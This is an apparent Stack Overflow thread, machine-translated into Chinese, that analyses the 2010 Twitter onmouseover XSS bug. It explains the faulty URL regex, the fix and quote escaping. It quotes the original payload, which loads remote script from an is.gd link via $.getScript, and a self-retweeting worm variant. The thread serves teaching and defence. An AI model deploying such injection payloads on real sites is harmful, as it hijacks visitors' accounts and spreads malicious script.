2010-09-21 79 views
49

你能解釋今天在Twitter上發生了什麼?基本上這個漏洞導致人們發佈一條包含此鏈接的推文:今天的Twitter上的XSS onmouseover漏洞利用

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

這在技術上是XSS攻擊還是其他?

這裏是Twitter的主頁怎麼看起來像:http://www.flickr.com/photos/travelist/6832853140/

+1

這是一個XSS攻擊,參看:http: //twitter.com/safety/status/25118959058 – Adam 2010-09-21 17:20:50

+0

好的,但我希望看到更好的解釋。它是如何工作的?我們可以做些什麼來避免這種類型的漏洞我們編寫的代碼中的可變性? – ibz 2010-09-21 17:22:24

+1

另請參閱http://blog.twitter.com/2010/09/all-about-onmouseover-incident.html – 2010-09-21 18:18:48

回答

36

此漏洞是因爲URL未被正確解析。例如,以下網址發佈到Twitter:

http://thisisatest.com/@"onmouseover="alert('test xss')"/ 

Twitter將此視爲URL。當解析Twitter的環繞該代碼的鏈接,所以HTML現在看起來像:

<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 

你可以看到,通過把在URL和結尾的斜線,微博認爲它有一個有效的URL,即使它包含一個引號,允許它逃跑(即終止href屬性,對於那裏的學者)URL屬性,幷包括一個鼠標。你可以寫任何東西到頁面,包括關閉鏈接幷包含一個腳本元素。此外,您不受140個字符限制,因爲您可以使用$.getScript()

This提交,如果它被提取,將會阻止這個XSS漏洞。

詳細地說,有問題的正則表達式是:

REGEXEN[:valid_url_path_chars] = /(?: 
    #{REGEXEN[:wikipedia_disambiguation]}| 
    @[^\/]+\/| 
    [\.\,]?#{REGEXEN[:valid_general_url_path_chars]} 
)/ix 

@[^\/]+\/該部分允許任何字符(除了正斜槓),當它由@符號前綴和通過正斜槓後綴。

更改爲@#{REGEXEN[:valid_general_url_path_chars]}+\/它現在只允許有效的URL字符。

+0

誰說過反斜槓? HTML編碼的帶外字符通常被認爲是一種轉義類型。 – bobince 2010-09-21 18:10:01

+0

@邁克爾Foukarakis謝謝你的措辭。 – rook 2010-09-21 18:41:22

+0

@bobince我不同意。在我看來,這與重新編碼和wikipedia非常不同,支持我的觀點http://en.wikipedia.org/wiki/Escape_character – rook 2010-09-21 18:42:28

0

維基百科:「跨站點腳本(XSS)是一類的計算機安全漏洞通常出現在Web應用程序中,使惡意攻擊者注入客戶端 - 將腳本轉換爲其他用戶查看的網頁。「

今天的攻擊符合我的要求。

基本上Twitter.com顯示代碼存在某種解析錯誤。當他們將URL轉換爲HTML超鏈接時,他們沒有正確處理@字符,這導致JavaScript事件被插入到HTML鏈接中。

15

是的,這是XSS,它正在攻擊01​​。這個XSS最酷的地方在於它不需要<>來利用。注入的字符串是:size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"

size::999999999999px使它非常大,更有人喜歡有人會將鼠標懸停在它上面。真正的問題是onmouseover=事件處理程序。

爲了防止這種情況在PHP中,你需要引號轉換成他們的HTML實體: $var=htmlspecialchars($var,ENT_QUOTES);

這是因爲HTML,你無法逃避的報價,如SQL:\'

+1

Rook,什麼會阻止攻擊?退出報價? – 2010-09-21 17:27:27

+0

@Steven Sudit HTML不尊重「escape」引號,如sql:'\'',所以你不能使用'addslashes()'。相反,您必須將引號轉換爲它們的html實體。我已經更新了我的回覆。 – rook 2010-09-21 17:32:02

+2

@Rook:我相信你有一個錯字 - 「ENT_QUOTS」應該是「ENT_QUOTES」 – 2010-09-21 17:41:05

1

這是一個XSS漏洞。 As Twitter admitted in their update.您可以通過永遠不允許用戶發佈JavaScript代碼來防止這樣的攻擊。你應該總是過濾掉它。有關避免XSS的更多信息,請訪問:http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

+0

閱讀他人的評論,我對你的回答有點困惑。你如何過濾JavaScript代碼? (新手問題) – Zabba 2010-09-22 06:34:54

+0

@Zabba它取決於你使用的是什麼框架。例如,Django與許多其他框架一樣內置了自動轉義工具。基本上這個想法是永遠不會讓用戶輸入文本,然後將其呈現回頁面,而不會過濾出腳本標籤,可能是所有或大多數html標籤,並且如果您允許html標籤在其中取出javascript事件處理程序 – Adam 2010-09-22 20:35:19

4

這個漏洞是Javascript注入的一個經典部分。假設你寫與以下文本的鳴叫:

"http://www.guardian.co.uk/technology is the best!" 

當您查看Twitter的網頁,變成一個鏈接,像這樣:

<a href="http://www.guardian.co.uk/technology" class="tweet-url web" 
rel="nofollow">http://www.guardian.co.uk/technology</a> is the best! 

該漏洞攻擊該鏈接製作功能。該漏洞鳴叫的原始文本會讀這樣的事情:

http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML); 
    $('.status-update-form').submit();"class="modal-overlay"/ 

哪個Twitter的沒有適當保護,可能是因爲@」字符組合打破了他們的[HTML]解析器,鏈接會生成以下頁面的源代碼:。

<a href="http://a.no/@";onmouseover=";$('textarea:first').val(this.innerHTML); 
$('.status-update-form').submit();"class="modal-overlay"/ class="tweet-url web" 
     rel="nofollow"> 

這意味着,可執行內容(的onMouseOver =「東西」位),在網頁源代碼已經結束了。不知道什麼更好的瀏覽器中運行該代碼,因爲它是在用戶的瀏覽器中運行,它可以做用戶所做的任何事情;大多數變體使用這種權力重新發布內容,這就是爲什麼它像病毒一樣傳播。呃通過鼠標懸停來激活代碼,他們還使用CSS [Cascading Style Sheets,它決定了頁面佈局]將該塊格式化爲black-on-black。其他版本被用戶篡改以獲得各種其他效果,例如色情網站重定向,推文中的彩虹文字等。其中一些彈出對話框,旨在警告用戶,談論帳戶被禁用或密碼被盜(無論如何)。

Twitter解決了這個問題,不是通過阻止字符串onMouseOver(一些暗淡的博客所要求的),而是通過適當的消毒輸入。 「這些推文中的標記現在變成了&」 - HTML轉義形式

從技術上講,這是一種二階注入式攻擊;攻擊字符串被插入到數據庫中並正確處理,但隨後攻擊發生作爲字符串讀背出,而不是它並不複雜,在所有要麼攻擊 - 而尷尬的Twitter,他們是由該抓出來

來源:The Twitter hack: how it started and how it worked